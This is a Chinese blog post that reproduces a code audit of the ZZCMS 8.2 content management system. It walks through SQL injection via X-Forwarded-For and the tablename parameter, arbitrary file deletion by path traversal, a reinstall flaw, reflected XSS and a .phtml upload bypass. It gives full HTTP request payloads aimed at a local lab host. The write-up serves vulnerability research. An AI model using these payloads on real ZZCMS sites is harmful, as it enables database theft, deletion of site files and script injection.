文章归档

置顶文章

Web安全

Web安全基础

PHP相关

Writeups

靶机系列

HackTheBox-Retired

HackTheBox-Active

VulnHub

代码审计

PHP代码审计

大数据安全

机器学习

基础学习

Python

Python基础

Python安全

Java

Java基础

Java安全

算法

Leetcode

随笔

经验

技术

 2020-01-15   971

【代码审计】ZZCMS8.2(复现)

SQL注入漏洞

SQL注入漏洞首先看一下这个CMS防SQL注入的过滤代码,/inc/stopsqlin.php:

只针对了POST、GET和COOKIE三个地方做了过滤。

/user/del.php首先包含了两个文件../inc/conn.phpcheck.php,其中check.php一共有五处SQL查询:

其中第二处调用的getip()函数来获取查询参数

这个地方并没有进行参数检查,所以可以通过X-Forwarded-For头部字段进行注入

1
2
3
4
5
6
7
8
9
10
11
12
13
GET /user/del.php HTTP/1.1
Host: zzcms:8888
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 11_1_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://zzcms:8888/user/logincheck.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=ba56df951ed3d63883d9006ca742fe0e; bdshare_firstime=1609736297825; UserName=test; PassWord=098f6bcd4621d373cade4e832627b4f6
X-Forwarded-For: 1.1.1.1'
Connection: close

用SQLMAP跑

这种X-Forwarded-For注入还存在于/user/logincheckin.php和/admin/logincheckin.php中。

还是del.php文件,第137行的tablename不需要引号闭合,并且只经过trim函数的清洗,没有任何过滤:

查询zzcms_answer表,使用union联合注入+延时注入,payload:

1
id=1&tablename=zzcms_answer where id=999999999 union select 1,2 and if((ascii(substr(user(),1,1)) = 114),sleep(3),1)#

任意文件删除漏洞

漏洞发生在/user/adv.php,$f变量直接由"../"$oldimg拼接而得,并未过滤./字符,导致跨目录删除文件。所以按照代码逻辑,我们只要让$img不等于$oldimg,且$action等于”modify”即可。

Payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
POST /user/adv.php?action=modify HTTP/1.1
Host: zzcms:8888
Content-Length: 110
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
Origin: http://zzcms:8888
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 11_1_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://zzcms:8888/user/adv.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=ba56df951ed3d63883d9006ca742fe0e; bdshare_firstime=1609736297825; UserName=test; PassWord=098f6bcd4621d373cade4e832627b4f6
Connection: close

adv=111&advlink=%2Fzt%2Fshow.php%3Fid%3D1&company=%E8%B5%9E%E5%8A%A9&oldimg=admin/admin.php&img=test&Submit22=%E4%BF%AE+%E6%94%B9

同样的漏洞也出现在license_save.php中:

根据代码逻辑,$action=modify并且$old_img不等于$img和/img/nopic.gif,即可触发该漏洞。

系统重装漏洞

在Install目录下,step1.php会首先判断是否存在install.lock文件,但是在step2.php及之前的文件中,没有进行判断,导致系统重装漏洞:

反射型XSS漏洞

在inc/top.php中,没有包含/inc/conn.phpcheck.php两个文件,导致反射型XSS漏洞产生。

payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
POST /inc/top.php HTTP/1.1
Host: zzcms:8888
Content-Length: 89
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 11_1_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
Origin: http://zzcms:8888
Content-Type: application/x-www-form-urlencoded
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://zzcms:8888/inc/top.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=ba56df951ed3d63883d9006ca742fe0e; bdshare_firstime=1609736297825; UserName=test; PassWord=098f6bcd4621d373cade4e832627b4f6
Connection: close

action=search&lb=%23%27%3C%2Fscript%3E%3Cscript%3Ealert%281%29%3C%2Fscript%3E%3Cscript%3E

文件上传漏洞

/uploadimg.php文件提供了一个文件上传的功能,首先,先判断文件是否存在,再检查文件是否超过限制,接着检查文件类型,这里可以用GIF89a绕过检查,最后使用黑名单机制检查文件后缀,问题就出在这里,黑名单少过滤了phtml,而apache会将phtml文件按照php文件来解析。

payload如下:

Reference

https://mochazz.github.io/2018/02/12/代码审计之zzcms82/

Copyright © ca01h 2019-2021 | 本站总访问量